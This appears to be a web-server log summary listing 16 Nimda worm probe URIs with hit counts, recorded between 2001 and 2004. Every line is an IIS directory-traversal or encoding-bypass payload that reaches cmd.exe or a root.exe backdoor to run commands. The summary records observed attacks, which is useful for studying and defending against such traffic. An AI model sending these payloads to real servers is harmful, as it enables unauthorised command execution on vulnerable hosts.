97100 Nimda attacks from 2001-09-18 08:22:16 to 2004-04-24 10:51:40.
| URI | Hits |
|---|
| GET /scripts/root.exe?/c+dir HTTP/1.0 | 7148 |
| GET /MSADC/root.exe?/c+dir HTTP/1.0 | 6878 |
| GET /c/winnt/system32/cmd.exe ?/c+dir HTTP/1.0 | 6677 |
| GET /d/winnt/system32/cmd.exe ?/c+dir HTTP/1.0 | 6525 |
| GET /scripts/..%255c../winnt /system32/cmd.exe?/c+dir HTTP/1.0 | 6361 |
| GET /_vti_bin/..%255c../..%255c ../..%255c../winnt/system32 /cmd.exe?/c+dir HTTP/1.0 | 6252 |
| GET /_mem_bin/..%255c../..%255c ../..%255c../winnt/system32 /cmd.exe?/c+dir HTTP/1.0 | 6180 |
| GET /msadc/..%255c../..%255c ../..%255c/..%c1%1c../..% c1%1c../..%c1%1c../winnt /system32/cmd.exe?/c+dir HTTP/1.0 | 6093 |
| GET /scripts/..%c1%1c../winnt /system32/cmd.exe?/c+dir HTTP/1.0 | 6008 |
| GET /scripts/..%c0%af../winnt /system32/cmd.exe?/c+dir HTTP/1.0 | 5859 |
| GET /scripts/..%c1%9c../winnt /system32/cmd.exe?/c+dir HTTP/1.0 | 5799 |
| GET /scripts/..%%35%63../winnt /system32/cmd.exe?/c+dir HTTP/1.0 | 5748 |
| GET /scripts/..%%35c../winnt /system32/cmd.exe?/c+dir HTTP/1.0 | 5696 |
| GET /scripts/..%25%35%63../winnt /system32/cmd.exe?/c+dir HTTP/1.0 | 5648 |
| GET /scripts/..%252f../winnt /system32/cmd.exe?/c+dir HTTP/1.0 | 5595 |
| GET /scripts/..%c0%2f../winnt /system32/cmd.exe?/c+dir HTTP/1.0 | 4633 |
